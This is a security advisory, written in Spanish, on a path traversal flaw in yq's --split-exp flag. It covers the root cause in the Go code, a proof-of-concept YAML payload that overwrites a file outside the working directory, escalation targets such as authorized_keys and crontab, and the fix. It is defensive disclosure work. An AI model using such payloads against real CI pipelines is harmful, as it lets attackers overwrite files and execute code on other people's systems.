Escritura arbitraria de archivos mediante path traversal en --split-exp
GHSA-9fvq-9qj8-6qhx · Asignación de CVE pendiente
Resumen
El flag --split-exp (alias -s) evalúa una expresión yq contra el contenido del documento de entrada y usa el valor escalar resultante directamente como ruta de archivo de salida sin sanitización. Como no se rechazan componentes .. ni rutas absolutas antes de que el valor llegue a os.MkdirAll y os.Create, un documento YAML/JSON/XML controlado por el atacante puede hacer que yq cree o sobrescriba archivos arbitrarios en cualquier lugar donde el proceso tenga permiso de escritura. Una víctima que ejecuta yq -s '.name' payload-malo.yml sobre entrada no confiable puede ver archivos fuera del directorio de trabajo sobrescritos silenciosamente — yq sale con código 0.
Impacto
- Escritura arbitraria de archivos — crear/sobrescribir archivos con contenido controlado por el atacante (el propio documento procesado), más creación arbitraria de directorios.
- Vector de ataque: red — YAML no confiable procesado en CI/CD (charts, manifiestos de PRs, configs GitOps); sin autenticación.
- Escalación: sobrescribir dotfiles, scripts o definiciones de workflows (
~/.bashrc,~/.ssh/authorized_keys,.github/workflows/*.yml, crontab) lleva a ejecución de código en la siguiente corrida; cualquier archivo escribible puede ser truncado o corrompido.
Causa Raíz
En pkg/yqlib/printer_writer.go, multiPrintWriter.GetWriter toma el nombre de archivo del propio documento y lo pasa al sistema de archivos sin sanitizar:
// printer_writer.go:66-67 — name proviene del documento
if result.MatchingNodes.Len() > 0 {
name = result.MatchingNodes.Front().Value.(*CandidateNode).Value
}
// printer_writer.go:69-72 — solo un regex de extensión; sin validación de ruta
var extensionRegexp = regexp.MustCompile(`\.[a-zA-Z0-9]+$`)
if !extensionRegexp.MatchString(name) {
name = fmt.Sprintf("%v.%v", name, sp.extension)
}
// printer_writer.go:74-78 — el name sin sanitizar llega a los sumideros
err = os.MkdirAll(filepath.Dir(name), 0750)
...
f, err := os.Create(name)
No hay verificación de filepath.IsAbs, ni rechazo de segmentos .., ni confinamiento a un directorio base. --split-exp-file comparte el mismo writer (solo cambia el origen de la expresión — cmd/utils.go:57-64); los flags se declaran en cmd/root.go:199-205.
Prueba de Concepto
Probado contra yq v4.54.1. Un archivo centinela fuera del directorio de trabajo es sobrescrito con el documento del atacante:
# Directorio de trabajo /tmp/yq-poc/work; archivo víctima fuera de él
$ echo 'ORIGINAL SENSITIVE DATA - MUST NOT BE OVERWRITTEN' \
> /tmp/yq-poc/victim/sensitive.yml
# Payload controlado por el atacante: 'name' contiene la ruta de traversal
$ cat > /tmp/yq-poc/work/payload.yml <<'EOF'
name: ../victim/sensitive
message: attacker-controlled write
EOF
$ cd /tmp/yq-poc/work
$ yq -s '.name' payload.yml
[exit 0 — silencioso; el flag deriva los nombres de archivo del documento]
$ cat /tmp/yq-poc/victim/sensitive.yml
name: ../victim/sensitive
message: attacker-controlled write ← DATOS ORIGINALES ELIMINADOS
Variantes confirmadas: relativo un nivel (../victim/…), relativo dos niveles (escapa por completo el sandbox del PoC) y rutas absolutas (name: /tmp/arbitrary/target crea o sobrescribe en la ubicación literal). 3 capturas adjuntas al advisory.
Cronología de Divulgación
| Fecha | Evento |
|---|---|
| 2026-10-09 | Vulnerabilidad descubierta; PoC confirmado (variantes relativa, de dos niveles y ruta absoluta) |
| 2026-10-23 | Reportada vía GitHub Private Vulnerability Reporting como Issue A del advisory combinado; aceptada por el mantenedor el mismo día |
| 2026-11-05 | Issue A separado en el advisory independiente GHSA-9fvq-9qj8-6qhx |
| 2026-11-09 | Advisory publicado; corrección lanzada en yq v4.54.3 |
| Pendiente | Asignación de CVE (solicitud debida ahora que existe corrección pública) |
Corrección
yq v4.54.3 restringe las rutas de salida de split al directorio de trabajo por defecto:
- Restricted `--split-exp` output paths to the current directory by default.
Use `--security-allow-write-any-path` with trusted input to restore the
previous behaviour (#2965)
El advisory también propone una defensa sanitizeSplitFilename que rechaza rutas absolutas y segmentos .. después de filepath.Clean antes de cualquier llamada a MkdirAll/Create. Mitigación en versiones vulnerables: no pasar documentos no confiables a --split-exp / --split-exp-file.
Corregido en yq v4.54.3 (2026-11-09). Advisory publicado 2026-11-09; asignación de CVE pendiente.